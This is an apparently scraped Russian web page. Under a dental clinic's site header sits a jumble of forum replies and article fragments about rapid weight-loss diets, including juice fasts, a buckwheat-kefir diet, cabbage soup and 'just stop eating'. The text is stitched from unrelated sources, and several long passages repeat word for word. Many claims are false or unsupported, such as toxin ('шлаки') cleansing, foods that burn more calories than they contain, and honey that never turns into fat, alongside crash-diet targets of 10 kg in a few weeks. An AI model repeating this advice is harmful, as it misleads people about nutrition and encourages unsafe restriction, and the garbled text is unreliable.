Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Посоветуйте быстрые диеты.

Не могу набрать вес...

БЛЯТЬ 22 года и 44 КГ мне 17 меня рост 184 вес 87 кг. Не много лишнего веса а то мишцы.

Супер быстрая диета, все, что нужно - это пить сок.Желание каждой женщины похудеть с удовольствием и со вкусом, воплотилось в диете на соках. С одной стороны это очень вкусно, с другой стороны полезно .

Подскажите быструю диету, пожалуйста

6 лепестков! и спорт

2 Диета на соках подготовка. 3 Как быстро похудеть на свежевыжатых соках .Диета на соках отзывы. Разгрузочные дни на свежевыжатых соках ведут к довольно быстрому похудению.

Http://www.missfit.ru/diet/quick/

Подскажите пожалуйста как можно похудеть за 3 дня качественно и без определенных диет!

Тогда ничего тебе больше не поможет!

Если на соках вы сидели два дня, то из диеты нужно выходить один день, если шесть дней, то три дня.А мне всего 18 лет . За 4 дня такой диеты и прижков на скакалке , я похудела на 8 кг но , на самом деле такое быстрое похудение плохо,поэтому перед тем как сесть на такую...

За 3 дня не похудеешь ...

Ну это только по-щучьему велению....

К голоданию добавте физ. нагрузки

Сядь на 3 дня в парилку и не чего не пей -в человеке больше половино воды. 100% похудеешь-только место на кладбише забранируй.

Правила для похудения без диет:
- отправляетесь в магазин или аптеку.
- покупаете пластырь.
- возвращаетесь домой.
- заклеиваете пластырем рот.
З. Ы. если дома есть скотч или пластырь тогда исполняете последний пункт.

Красота и Здоровье Здоровье Питание Соки. Соки для похудения как похудеть на соках. Соковая диета.Самые стойкие, решительно нацеленные на быстрое и безоговорочное похудение могут позволить себе от 3 до 5 и более дней посидеть на одном лишь соке, выпивая...

Самое активное похудение происходит при силовых нагрузках и после них (если они длились не менее часа) в течении суток (когда мышцы болят на следующий день тратится больше всего каллорий - до 700 ккаллорий в час)

Как быстро похудеть за месяц???

Сельдереевый суп.

Диета на соках и ее меню составлены так, чтобы произвести чистку организма, устранить дефицит микроэлементов и витаминов, улучшить обмен веществ и вывести из организма шлаки.Быстрые диеты.

Диета Кима Протасова, 5 недель, 10-15 кг. Погугли.

Не есть после 6 часов.... Или: "Завтрак - себе, обед - другу, а ужин - врагу".

Всё просто: систематические занятия спортом + правильное питание. Лучше всего бег. Сам так на 10 кг похудел. Старайтесь меньше есть продуктов в которых содержится много углеводов, (макароны картошка хлеб) так как при их отсутствии в организме сжигается жир.

««Меню гречневой диеты Кроме гречки (ее можно есть в любом количестве) меню гречневой диеты дополнительно включает в себя 1 литр (не более) обезжиренного (1%) кефира в сутки - можно выпивать и вместе с гречкой, можно и в любое другое время. Перед сном при сильном чувстве голода (в крайнем случае за полтора часа до сна) разрешается выпить стакан 1% кефира) . Результат не заставит себя ждать - потеря веса вдохнет в вас оптимизм продолжить диету при возможных срывах. Как и в большинстве других диет (например, в японской диете) без ограничений можно пить обычную воду (негазированную и неминерализованную) - не обостряет чувство голода - в отличие от консервированных соков, в том числе и натуральных. Жесткость гречневой диеты и ее длительность вызывает необходимость принимать поливитаминные препараты, даже если они будут вызывать тошноту (в некоторых редких случаях индивидуальной непереносимости) . Достоинства гречневой диеты Плюс гречневой диеты состоит в том, что снижение веса не сопровождается типичными для других диет (например, капустная диета и лимонно-медовая диета) болезненными ощущениями выраженными через головокружения, общую усталость, вялость и слабость. Второй плюс гречневой диеты обусловлен высокой калорийностью самой гречки - с каждым днем диеты все более и более будет проявляться ощущение легкости. Третье и наверное самое важное преимущество гречневой диеты - высокая эффективность - средняя потеря веса составляет 7 кг за 14 дней (по отзывам на эту диету в некоторых случаях потеря веса только за первую неделю составляла более 10 кг) . Нужно отметить что отсутствует ограничение на количество съеденной гречки на день диеты (ее можно есть сколько угодно) . В некоторых случаях применение диеты сопровождается улучшением внешнего вида кожи (из-за нормализации обмена веществ) , что говорит об эффективном механизме действия гречневой диеты. И нельзя не отметить наблюдающееся у некоторых пациенток диетологических клиник рассасывание целлюлита (опять же из-за нормализации обмена веществ).»»

Лето уже на пороге, уже хочется на пляж, а фигура еще так далека от совершенства.. . Что же делать? Нужно какое-то эффективное и быстрое средство для похудения. И при этом совсем не хочется истязать собственный организм немыслимыми нагрузками или экстремальными продуктами. Итак, мы хотим похудеть, при этом оставаясь бодрыми и жизнерадостными. То есть нам нужна диета, которая поможет эффективно снизить вес и не голодать при этом.
Такая диета существует – гречневая. Она рассчитана на одну неделю, но наиболее стойкие дамы выдерживают и до двух недель. Именно о ней мы и поговорим на МирСоветов.
Продукты для гречневой диеты
Суть проста: берем один стакан не дробленой гречневой крупы, заливаем двумя стаканами кипятка и оставляем настаиваться на ночь. Утром едим только гречку, запивая ее 1% кефиром. Солить, сластить и добавлять масло в гречку нельзя. Съесть за один раз можно «сколько влезет» - несоленая гречка обладает настолько специфичным вкусом, что вряд ли вы съедите больше 10 ложек за раз. Кефир должен быть свежим и не сладким. В первый день гречневой диеты вполне достаточно будет одного стакана заваренной гречневой крупы (то есть двух стаканов готового продукта) . Но если почувствуете, что можете съесть больше, на другие дни заваривайте большее количество крупы (пропорция та же: 1 часть гречки, две части воды) . Но при любом количестве гречки вы можете выпивать не более 1 литра кефира в день. Тем, кто не мыслит свое утро без чашки кофе, можно не отказывать себе в этом удовольствии, только кофе должен быть слабым и без сахара. То же можно сказать и любительницам чая. На время сидения на гречневой диете лучше перейти на зеленый чай. Если будет уж очень тяжело кушать одну гречку, можно сделать себе послабление в виде одного-двух яблок или апельсинов в день. В принципе, можно есть любые фрукты кроме бананов и винограда. Все зависит от количества съеденных фруктов, если съесть слишком много, потом просто не сможете вернуться к суровой гречневой диете. Когда станет совсем невмоготу все время кушать несоленую гречневую кашу, можно сдобрить ее соевым соусом. Только соус должен быть низкокалорийный и без соли. Во время гречневой, как во время большинства других диет, крайне не желательно есть после 6 часов вечера. Но если вам трудно следовать этому правилу, оставьте на вечер полстакана кефира, долейте водой до полного и выпейте это перед сном.
Что происходит с организмом во время гречневой диеты?
Начнем с того, что гречневая крупа очень полезна, в ней содержатся такие микроэлементы как железо, калий, магний, кальций. Кроме того, гречка укрепляет стенки сосудов. Вдобавок, содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.
Отрицательная сторона гречневой диеты в том, что вы не будете получать ни соли, ни сахара. Поэтому эту диету следует применять с осторожностью людям, у которых диабет и/или гипертоническая болезнь. Несоленая гречка выводит из организма шлаки и лишнюю воду. Из-за того, что в организм не поступает соль, периодически возможны головные боли, а также это может спровоцировать падение артериального давления. Пока мы сидим на гречневой диете, мы обделяем свой организм и сахаром. А сахар – это глюкоза, которая так необходима мозгу для эффективной работы. Поэтому во время гречневой диеты вы можете почувствовать, что голова стала соображать хуже и безумно хочется сладкого. Выход есть: разведите чайную ложку меда в стакане воды и выпейте этот «напиток» . Не бойтесь, вся глюкоза достанется мозгу, а не отложится на бедрах.
Пока вы будете есть только гречку и пить кефирчик, организму придется пускать в оборот свои резервы – сжигать жир, чтобы обеспечить организм недостающими питательными веществами. В результате ускорится обмен веществ и сжигание жира пойдет быстро и легко.

Недостатки соковой диеты. Диета на соках имеют низкую калорийность. В связи с этим, когда вы находитесь на такой диете, возможны боли в голове, быстрая утомляемость и отсутствие энергии.

Всю вредную пищу есть в первой половине дня, на обед что-нибудь лёгкое: салат, лёгкий суп, мясо, творог и т. д., а на ужин-кефир. Пить много воды, делать упражнение на свои проблемные места, больше гулять и желательно быстрым шагом, ведь прогулки ускоряют метаболизм.

Моя диетка:
Утро: (6.00-8.00)
Чай зеленый или кофе без сахара. (На время диеты выкиньте сахар из дома вообще или подарите нелюбимой соседке =))
Советую попробовать разнообразные добавки, это вносит разнообразие в диету =) Например зеленый чай с имбирем или кофе с лимоном =) Мне в свое время нравился «мятный кофе» . Делается так: в обычный кофе без сахара опускается маленький мятный леденец (типа Орбит или Дирол) и размешивается =) Аромат непередаваемый =)))
часов в 11:
стакан свежевыжатого (желательно) сока (чая, кофе - главное не газировки)
+ что-нибудь сладенькое (ниже привожу возможные варианты)
а) Блинчик с небольшим количеством джема,
б) сырник со сгущенкой (лужица не больше 5рублевой монеты) ,
в) немного творожной массы с изюмом,
г) слойка какая-нибудь маленькая ( Без начинки) ,
д) сырок детский ванильный,
е) гематоген)
На диете необходимо иногда себя баловать, иначе очень легко сорваться =) Главное делать это утром и в небольших количествах =)
часа в 2:
тарелка салата (либо без заправки, либо с чайной ложкой олив. масла)
+ основное блюдо:
а) куриная котлетка (предпочтительно приготовленная в духовке или на пару)
б) вареная или на пару курочка (Ножки и крылышки на время диеты – табу, отдавайте предпочтение грудке, она самая диетическая и самая полезная)
в) плов (баранину и свинину не рекомендую, выбирайте плов либо с курочкой, либо вегетарианский (мой любимый-можно добавлять болгарский перчик, грибы, стручковую фасоль, брокколи, горошек, кукурузу, морковь и т. п.) )
г) Фаршированный перчик (лучше вегетарианский и приготовленный на пару)
часа в 4:
а) 1-2 йогурта (без сахара)
б) зеленое яблоко (другие фрукты рекомендую исключить полностью на время диеты, в них много сахара, а это может свести на нет все усилия)
в) 100-150 грамм обезжиренного творога. Если есть в простом виде не очень вкусно, можно добавить любую мелконарезанную зелень и немного соли
часов в 9: стакан кефира 1%
я на такой диетке за месяц на 11 кг похудела =))) (с 63 до 52) =))) При росте 170см. Вес держится уже 7 год =)
на самом деле сложно только первые 2 дня, а потом втягиваешь =) и начинаешь получать кайф от правильного образа жизни и от каждого скинутого килограмма

Гре4ку без соли

Как быстро и надолго похудеть?

Не получится, нужно всегда поддерживать форму

Имбирь для похудения как правильно пить имбирь, чтобы быстро похудеть?диета на соках. можно просто их пить, как я, например грейпфруктовые и морковно-яблочные . пью такие уже года два, магазинные уже даже в горло не лезут. пью через2-3 дня.

Быстро худеть вредно для здоровья

Не ешьте после шести а до шести ешьте но небольшими порциями !!!

Есть часто и помалу, заниматься спортом, не есть очень жирное, ограничить сладкое (лучше больше фруктов)
Я похудела сильно во время поста, когда отказалась от мясных, рыбных, молочных продуктов

Буду честен и искренен! Быстро не похудеешь! Диеты не помогут!
Заниматся Спортом! Плавание очень помогает, у меня с офиса сотрудницы ходят помогает!
Заниматся Регулярно сексом т. к при занятии сексом сжигается много калорий!
Я понимаю что лето на дворе но с шашлыками надо поменьше баловатся! )
Вот!

Бодифлекс, не скажу -что быстро, зато надолго

Например, быстро сбросить вес поможет быстрая диета, основанная на свежевыжатых соках, рисовой, гречневой, творожной, овощной, шоколадной, яблочной.Еще быстрая диета на 3 дня. Ее нужно соблюдать три дня, затем четыре дня питаться как обычно, после чего можно...

Эх всю жизнь борьба я вон уже сегодня варенья с чаем навернула и не жалею))

Http://www.takzdorovo.ru./

Лето уже на пороге, уже хочется на пляж, а фигура еще так далека от совершенства.. . Что же делать? Нужно какое-то эффективное и быстрое средство для похудения. И при этом совсем не хочется истязать собственный организм немыслимыми нагрузками или экстремальными продуктами. Итак, мы хотим похудеть, при этом оставаясь бодрыми и жизнерадостными. То есть нам нужна диета, которая поможет эффективно снизить вес и не голодать при этом.
Такая диета существует – гречневая. Она рассчитана на одну неделю, но наиболее стойкие дамы выдерживают и до двух недель. Именно о ней мы и поговорим на МирСоветов.
Продукты для гречневой диеты
Суть проста: берем один стакан не дробленой гречневой крупы, заливаем двумя стаканами кипятка и оставляем настаиваться на ночь. Утром едим только гречку, запивая ее 1% кефиром. Солить, сластить и добавлять масло в гречку нельзя. Съесть за один раз можно «сколько влезет» - несоленая гречка обладает настолько специфичным вкусом, что вряд ли вы съедите больше 10 ложек за раз. Кефир должен быть свежим и не сладким. В первый день гречневой диеты вполне достаточно будет одного стакана заваренной гречневой крупы (то есть двух стаканов готового продукта) . Но если почувствуете, что можете съесть больше, на другие дни заваривайте большее количество крупы (пропорция та же: 1 часть гречки, две части воды) . Но при любом количестве гречки вы можете выпивать не более 1 литра кефира в день. Тем, кто не мыслит свое утро без чашки кофе, можно не отказывать себе в этом удовольствии, только кофе должен быть слабым и без сахара. То же можно сказать и любительницам чая. На время сидения на гречневой диете лучше перейти на зеленый чай. Если будет уж очень тяжело кушать одну гречку, можно сделать себе послабление в виде одного-двух яблок или апельсинов в день. В принципе, можно есть любые фрукты кроме бананов и винограда. Все зависит от количества съеденных фруктов, если съесть слишком много, потом просто не сможете вернуться к суровой гречневой диете. Когда станет совсем невмоготу все время кушать несоленую гречневую кашу, можно сдобрить ее соевым соусом. Только соус должен быть низкокалорийный и без соли. Во время гречневой, как во время большинства других диет, крайне не желательно есть после 6 часов вечера. Но если вам трудно следовать этому правилу, оставьте на вечер полстакана кефира, долейте водой до полного и выпейте это перед сном.
Что происходит с организмом во время гречневой диеты?
Начнем с того, что гречневая крупа очень полезна, в ней содержатся такие микроэлементы как железо, калий, магний, кальций. Кроме того, гречка укрепляет стенки сосудов. Вдобавок, содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.
Отрицательная сторона гречневой диеты в том, что вы не будете получать ни соли, ни сахара. Поэтому эту диету следует применять с осторожностью людям, у которых диабет и/или гипертоническая болезнь. Несоленая гречка выводит из организма шлаки и лишнюю воду. Из-за того, что в организм не поступает соль, периодически возможны головные боли, а также это может спровоцировать падение артериального давления. Пока мы сидим на гречневой диете, мы обделяем свой организм и сахаром. А сахар – это глюкоза, которая так необходима мозгу для эффективной работы. Поэтому во время гречневой диеты вы можете почувствовать, что голова стала соображать хуже и безумно хочется сладкого. Выход есть: разведите чайную ложку меда в стакане воды и выпейте этот «напиток» . Не бойтесь, вся глюкоза достанется мозгу, а не отложится на бедрах.
Пока вы будете есть только гречку и пить кефирчик, организму придется пускать в оборот свои резервы – сжигать жир, чтобы обеспечить организм недостающими питательными веществами. В результате ускорится обмен веществ и сжигание жира пойдет быстро и легко.

Подскажите диету!!!!С личного опыта!!!!

Не жрать

Соковый детокс, соковая диета или джусинг - новый модный способ быстро похудеть. Мы выяснили, как худеют с помощью свежих соков и можно ли делать это без ущерба для здоровья.

Реже кушать больше физической нагрузка

Посмотри в нете от Ларисы Долиной - помогает!))

Беззобразный образ жизни:
алкоголь
никатин
секс...

Не есть всё мучное, сладкое, молочное, жаренное, копчёное, солёное, маринованное, исключить майонез, картофель в любом виде. Есть всё отварное ( нежирные сорта рыбы, мяса) , овощи, фрукты, ягоды (виноград исключить)

Рабочий день до 6ти, поэтому не есть после 6ти не выходило, я решила не отказывать в ужине, т. к. обед у меня и так редко был. Я ужинала простым салатом из капусты с маслом, можно кусочек черного хлебя. И больше ничего - помогло. Ну а после/во время похудения надо хотя бы пресс качать...

Недостатки соковой диеты. Диета на соках имеют низкую калорийность. В связи с этим, когда вы находитесь на такой диете, возможны боли в голове, быстрая утомляемость и отсутствие энергии.

Да просто ешь меньше и всё

««Меню гречневой диеты
Кроме гречки (ее можно есть в любом количестве) меню гречневой диеты дополнительно включает в себя 1 литр (не более) обезжиренного (1%) кефира в сутки - можно выпивать и вместе с гречкой, можно и в любое другое время. Перед сном при сильном чувстве голода (в крайнем случае за полтора часа до сна) разрешается выпить стакан 1% кефира) . Результат не заставит себя ждать - потеря веса вдохнет в вас оптимизм продолжить диету при возможных срывах. Как и в большинстве других диет (например, в японской диете) без ограничений можно пить обычную воду (негазированную и неминерализованную) - не обостряет чувство голода - в отличие от консервированных соков, в том числе и натуральных. Жесткость гречневой диеты и ее длительность вызывает необходимость принимать поливитаминные препараты, даже если они будут вызывать тошноту (в некоторых редких случаях индивидуальной непереносимости) . Достоинства гречневой диеты Плюс гречневой диеты состоит в том, что снижение веса не сопровождается типичными для других диет (например, капустная диета и лимонно-медовая диета) болезненными ощущениями выраженными через головокружения, общую усталость, вялость и слабость. Второй плюс гречневой диеты обусловлен высокой калорийностью самой гречки - с каждым днем диеты все более и более будет проявляться ощущение легкости. Третье и наверное самое важное преимущество гречневой диеты - высокая эффективность - средняя потеря веса составляет 7 кг за 14 дней (по отзывам на эту диету в некоторых случаях потеря веса только за первую неделю составляла более 10 кг) . Нужно отметить что отсутствует ограничение на количество съеденной гречки на день диеты (ее можно есть сколько угодно) . В некоторых случаях применение диеты сопровождается улучшением внешнего вида кожи (из-за нормализации обмена веществ) , что говорит об эффективном механизме действия гречневой диеты. И нельзя не отметить наблюдающееся у некоторых пациенток диетологических клиник рассасывание целлюлита (опять же из-за нормализации обмена веществ).» »
Действительно помогает!!!! Опробовано на себе!!!

Чистка кишечника. печени.. . массаж медом на попу, и диета с енерджи диет- коктейли.. . результат - минус 10 кило за 2 месяца, минус целлюлит и минус проблемы с желудком.

Лето уже на пороге, уже хочется на пляж, а фигура еще так далека от совершенства.. . Что же делать? Нужно какое-то эффективное и быстрое средство для похудения. И при этом совсем не хочется истязать собственный организм немыслимыми нагрузками или экстремальными продуктами. Итак, мы хотим похудеть, при этом оставаясь бодрыми и жизнерадостными. То есть нам нужна диета, которая поможет эффективно снизить вес и не голодать при этом.
Такая диета существует – гречневая. Она рассчитана на одну неделю, но наиболее стойкие дамы выдерживают и до двух недель. Именно о ней мы и поговорим на МирСоветов.
Продукты для гречневой диеты
Суть проста: берем один стакан не дробленой гречневой крупы, заливаем двумя стаканами кипятка и оставляем настаиваться на ночь. Утром едим только гречку, запивая ее 1% кефиром. Солить, сластить и добавлять масло в гречку нельзя. Съесть за один раз можно «сколько влезет» - несоленая гречка обладает настолько специфичным вкусом, что вряд ли вы съедите больше 10 ложек за раз. Кефир должен быть свежим и не сладким. В первый день гречневой диеты вполне достаточно будет одного стакана заваренной гречневой крупы (то есть двух стаканов готового продукта) . Но если почувствуете, что можете съесть больше, на другие дни заваривайте большее количество крупы (пропорция та же: 1 часть гречки, две части воды) . Но при любом количестве гречки вы можете выпивать не более 1 литра кефира в день. Тем, кто не мыслит свое утро без чашки кофе, можно не отказывать себе в этом удовольствии, только кофе должен быть слабым и без сахара. То же можно сказать и любительницам чая. На время сидения на гречневой диете лучше перейти на зеленый чай. Если будет уж очень тяжело кушать одну гречку, можно сделать себе послабление в виде одного-двух яблок или апельсинов в день. В принципе, можно есть любые фрукты кроме бананов и винограда. Все зависит от количества съеденных фруктов, если съесть слишком много, потом просто не сможете вернуться к суровой гречневой диете. Когда станет совсем невмоготу все время кушать несоленую гречневую кашу, можно сдобрить ее соевым соусом. Только соус должен быть низкокалорийный и без соли. Во время гречневой, как во время большинства других диет, крайне не желательно есть после 6 часов вечера. Но если вам трудно следовать этому правилу, оставьте на вечер полстакана кефира, долейте водой до полного и выпейте это перед сном.
Что происходит с организмом во время гречневой диеты?
Начнем с того, что гречневая крупа очень полезна, в ней содержатся такие микроэлементы как железо, калий, магний, кальций. Кроме того, гречка укрепляет стенки сосудов. Вдобавок, содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.
Отрицательная сторона гречневой диеты в том, что вы не будете получать ни соли, ни сахара. Поэтому эту диету следует применять с осторожностью людям, у которых диабет и/или гипертоническая болезнь. Несоленая гречка выводит из организма шлаки и лишнюю воду. Из-за того, что в организм не поступает соль, периодически возможны головные боли, а также это может спровоцировать падение артериального давления. Пока мы сидим на гречневой диете, мы обделяем свой организм и сахаром. А сахар – это глюкоза, которая так необходима мозгу для эффективной работы. Поэтому во время гречневой диеты вы можете почувствовать, что голова стала соображать хуже и безумно хочется сладкого. Выход есть: разведите чайную ложку меда в стакане воды и выпейте этот «напиток» . Не бойтесь, вся глюкоза достанется мозгу, а не отложится на бедрах.
Пока вы будете есть только гречку и пить кефирчик, организму придется пускать в оборот свои резервы – сжигать жир, чтобы обеспечить организм недостающими питательными веществами. В результате ускорится обмен веществ и сжигание жира пойдет быстро и легко.

Продукты, которые помогают похудеть
Нижеприведенный перечень выучите наизусть, а лучше распечатайте и повесьте на холодильник, потому как он содержит продукты, которые помогут вам похудеть. Дело в том, что они вызывают сжигание большего числа калорий, чем содержат сами. Их потребление существенно ускоряет обмен веществ и способствует снижению веса. Поэтому если вы будете есть их вечером, они никоим образом вам не повредят.
Итак, это помидоры, брокколи, брюссельская капуста, цветная капуста, капуста, дыня, морковь, сельдерей, свекла, чеснок, лук-порей, баклажан, зеленые бобы, тыква, хрен, шпинат, редька, репа, грибы, треска, крабы, камбала, огурцы, яблоки, абрикосы, артишоки, черника, голубика, вишни, клюква, грейпфрут, шнитт-лук, лимоны, лаймы, лобстер, манго, нектарины, апельсины, папайя, малина, клубника, малина, ананас, арбуз, мандарины.
Ряд исследователей утверждает, что похудению способствуют и молочные продукты. Под воздействием кальция за счет разложения жировых клеток происходит ускорение сжигания жира, потому регулярное потребление сыра, йогурта и молока также позволительно считать методом снижения веса.

Быстрые диеты наиболее востребованные и популярные во всем мире. Они позволяют буквально в течение нескольких дней сбросить пару-тройку лишних килограммов без особых усилий. Диета на соках Еда в как таковом виде отсутствует полностью.

Моя диетка:
Утро: (6.00-8.00)
Чай зеленый или кофе без сахара. (На время диеты выкиньте сахар из дома вообще или подарите нелюбимой соседке =))
Советую попробовать разнообразные добавки, это вносит разнообразие в диету =) Например зеленый чай с имбирем или кофе с лимоном =) Мне в свое время нравился «мятный кофе» . Делается так: в обычный кофе без сахара опускается маленький мятный леденец (типа Орбит или Дирол) и размешивается =) Аромат непередаваемый =)))
часов в 11:
стакан свежевыжатого (желательно) сока (чая, кофе - главное не газировки)
+ что-нибудь сладенькое (ниже привожу возможные варианты)
а) Блинчик с небольшим количеством джема,
б) сырник со сгущенкой (лужица не больше 5рублевой монеты) ,
в) немного творожной массы с изюмом,
г) слойка какая-нибудь маленькая ( Без начинки) ,
д) сырок детский ванильный,
е) гематоген)
На диете необходимо иногда себя баловать, иначе очень легко сорваться =) Главное делать это утром и в небольших количествах =)
часа в 2:
тарелка салата (либо без заправки, либо с чайной ложкой олив. масла)
+ основное блюдо:
а) куриная котлетка (предпочтительно приготовленная в духовке или на пару)
б) вареная или на пару курочка (Ножки и крылышки на время диеты – табу, отдавайте предпочтение грудке, она самая диетическая и самая полезная)
в) плов (баранину и свинину не рекомендую, выбирайте плов либо с курочкой, либо вегетарианский (мой любимый-можно добавлять болгарский перчик, грибы, стручковую фасоль, брокколи, горошек, кукурузу, морковь и т. п.) )
г) Фаршированный перчик (лучше вегетарианский и приготовленный на пару)
часа в 4:
а) 1-2 йогурта (без сахара)
б) зеленое яблоко (другие фрукты рекомендую исключить полностью на время диеты, в них много сахара, а это может свести на нет все усилия)
в) 100-150 грамм обезжиренного творога. Если есть в простом виде не очень вкусно, можно добавить любую мелконарезанную зелень и немного соли
часов в 9: стакан кефира 1%
я на такой диетке за месяц на 11 кг похудела =))) (с 63 до 52) =))) При росте 170см. Вес держится уже 7 год =)
на самом деле сложно только первые 2 дня, а потом втягиваешь =) и начинаешь получать кайф от правильного образа жизни и от каждого скинутого килограмма

Подскажите диету. можно строгую, но эффективную, и что бы вес не вернулся сразу после перехода на нормальное питание

Есть замечательная "Японская диета".

Красота и Здоровье Здоровье Питание Соки. Соки для похудения как похудеть на соках. Соковая диета.Самые стойкие, решительно нацеленные на быстрое и безоговорочное похудение могут позволить себе от 3 до 5 и более дней посидеть на одном лишь соке, выпивая...

Начать можно с японской диеты. Очень хорошая и полезная. Я за 14 дней похудела на 5 кг. А потом переходи на кремлевскую. Она хороша тем, что есть таблица содержания углеводов в продуктах. Что бы похудеть, нужно их ограничивать, а потом немного добавить и вес будет держаться на уровне. Можно полностью отказаться от сахара-кроме пользы это ничего не принесет. А если хочеться сладкого, можно немного меда. Он не откладывается в жир как сахар, а превращается в энергию.

Протасовка

Японская диета самая эффективная, но только если вы не гипертоник.

Попробуйте Диету Кима Протасова (в народе - просто Протасовка)

Рецепт сжигающего жир супа: 6 средних луковиц, несколько помидоров, 1 небольшой кочан капусты, 2 зеленых перца, 1 пучок сельдерея, 2 кубика овощного бульона.
Порежьте овощи на мелкие или средние кусочки и залейте водой. Приправьте солью, перцем и, если хотите, карри. Кипятите на большом огне 10 минут, затем сделайте маленький огонь и продолжайте варить, пока овощи не станут мягкими.
День первый . 2,5 стакана чистой воды; 2 порции супа; 1 большая чашка зелёного чая; 400 гр. клубники; 1 большое яблоко
День второй . 2 стакана чистой воды ; 3 порции супа; 3 большие чашки зелёного чая; 1 большая печёная картошка; огурец; четверть варёной свеклы
День третий . 2 стакана чистой воды ;1,5 порции супа; маленький огурец; четверть варёной свеклы; 2 большие чашки зелёного чая; 2 больших яблока; 250 гр. клубники
.День четвертый . 4,5 стакана чистой воды; 2 порции супа, 2 больших яблока, половина варёной свеклы, 3 банана.
День пятый . 1 стакана чистой воды; 2 порции супа; 200 гр. варёной говядины ; 2 помидора; 1 большая чашка зелёного чая
День шестой . 1,5 стакана чистой воды; 2 порции супа; 200 гр. варёного куриного филе; 1 средний, запеченный в фольге кабачок с солью, чесноком и пряными травами; 2 большие чашки зелёного чая
День седьмой . 1 стакан чистой воды; 2 порции супа; небольшая порция варёного без соли риса; 4 стакана фруктового сока без сахара; половинка варёной в подсоленой воде цветной капусты, большие чашки зелёного чая, 1 помидорчик, 2 солёных арахиса и 2 сухарика Флинт )))

Натуральные соки и диета для похудения. Любая диета всегда связана с ограничением поступления в организм питательных веществ.Горячие обеды - быстро, питательно и полезно! Украшение свадебных машин.

Лето уже на пороге, уже хочется на пляж, а фигура еще так далека от совершенства.. . Что же делать? Нужно какое-то эффективное и быстрое средство для похудения. И при этом совсем не хочется истязать собственный организм немыслимыми нагрузками или экстремальными продуктами. Итак, мы хотим похудеть, при этом оставаясь бодрыми и жизнерадостными. То есть нам нужна диета, которая поможет эффективно снизить вес и не голодать при этом.
Такая диета существует – гречневая. Она рассчитана на одну неделю, но наиболее стойкие дамы выдерживают и до двух недель. Именно о ней мы и поговорим на МирСоветов.
Продукты для гречневой диеты
Суть проста: берем один стакан не дробленой гречневой крупы, заливаем двумя стаканами кипятка и оставляем настаиваться на ночь. Утром едим только гречку, запивая ее 1% кефиром. Солить, сластить и добавлять масло в гречку нельзя. Съесть за один раз можно «сколько влезет» - несоленая гречка обладает настолько специфичным вкусом, что вряд ли вы съедите больше 10 ложек за раз. Кефир должен быть свежим и не сладким. В первый день гречневой диеты вполне достаточно будет одного стакана заваренной гречневой крупы (то есть двух стаканов готового продукта) . Но если почувствуете, что можете съесть больше, на другие дни заваривайте большее количество крупы (пропорция та же: 1 часть гречки, две части воды) . Но при любом количестве гречки вы можете выпивать не более 1 литра кефира в день. Тем, кто не мыслит свое утро без чашки кофе, можно не отказывать себе в этом удовольствии, только кофе должен быть слабым и без сахара. То же можно сказать и любительницам чая. На время сидения на гречневой диете лучше перейти на зеленый чай. Если будет уж очень тяжело кушать одну гречку, можно сделать себе послабление в виде одного-двух яблок или апельсинов в день. В принципе, можно есть любые фрукты кроме бананов и винограда. Все зависит от количества съеденных фруктов, если съесть слишком много, потом просто не сможете вернуться к суровой гречневой диете. Когда станет совсем невмоготу все время кушать несоленую гречневую кашу, можно сдобрить ее соевым соусом. Только соус должен быть низкокалорийный и без соли. Во время гречневой, как во время большинства других диет, крайне не желательно есть после 6 часов вечера. Но если вам трудно следовать этому правилу, оставьте на вечер полстакана кефира, долейте водой до полного и выпейте это перед сном.
Что происходит с организмом во время гречневой диеты?
Начнем с того, что гречневая крупа очень полезна, в ней содержатся такие микроэлементы как железо, калий, магний, кальций. Кроме того, гречка укрепляет стенки сосудов. Вдобавок, содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.
Отрицательная сторона гречневой диеты в том, что вы не будете получать ни соли, ни сахара. Поэтому эту диету следует применять с осторожностью людям, у которых диабет и/или гипертоническая болезнь. Несоленая гречка выводит из организма шлаки и лишнюю воду. Из-за того, что в организм не поступает соль, периодически возможны головные боли, а также это может спровоцировать падение артериального давления. Пока мы сидим на гречневой диете, мы обделяем свой организм и сахаром. А сахар – это глюкоза, которая так необходима мозгу для эффективной работы. Поэтому во время гречневой диеты вы можете почувствовать, что голова стала соображать хуже и безумно хочется сладкого. Выход есть: разведите чайную ложку меда в стакане воды и выпейте этот «напиток» . Не бойтесь, вся глюкоза достанется мозгу, а не отложится на бедрах.
Пока вы будете есть только гречку и пить кефирчик, организму придется пускать в оборот свои резервы – сжигать жир, чтобы обеспечить организм недостающими питательными веществами. В результате ускорится обмен веществ и сжигание жира пойдет быстро и легко.

Помогите!Как похудеть на 10 кг за 2-3 недели

Не есть вобще салат овощьной помидоры огурцы немного масла подсолн 1 раз в день

Эффективные диеты для быстрого похудения. В преддверии летнего сезона многие девушки хотят срочно похудеть, чтобы выглядеть шикарно.Диета на соках. Эту диету можно проводить несколько раз в неделю, а можно и три дня подряд.

Крути обруч, качай пресс, бегай, питание 5 раз/день небольшими порциями=) удачи

Можно отказаться от мучного, жирного, сладкого.

Ешьте только такие продукты, как яблоки, грейфрут, морковь и т. д. Не ешь после 5 или 6 часов! !
Я как раз сижу на этой диете! !

Вы никогда не похудеете за такой срок, без вреда для здоровья. Оптимальный сброс веса в месяц 4кг. По себе сужу. А когда пресс будете качать и живот уберется.

10 кг сбросить за такой короткий срок можно путем очищения кишечника от шлаков и интенсивными тренировками (бег / велосипед) .
хорошо, что вы уже не едите после 6-ти. Откажитесьот мучного и сладкого (заодно и кожа станет идеальной) .
Больше пейте воды, потейте, двигайтесь и не изнуряйте себя диетами, тогда всё получится! Удачи

Диета на соках. Про пользу овощных, фруктовых и яблочных соков знают, наверно, все. Они богаты разнообразнейшими витаминами, микроэлементами иТакой вариант соковой диеты можно применять в течение длительного времени, результат от него будет не быстрый.

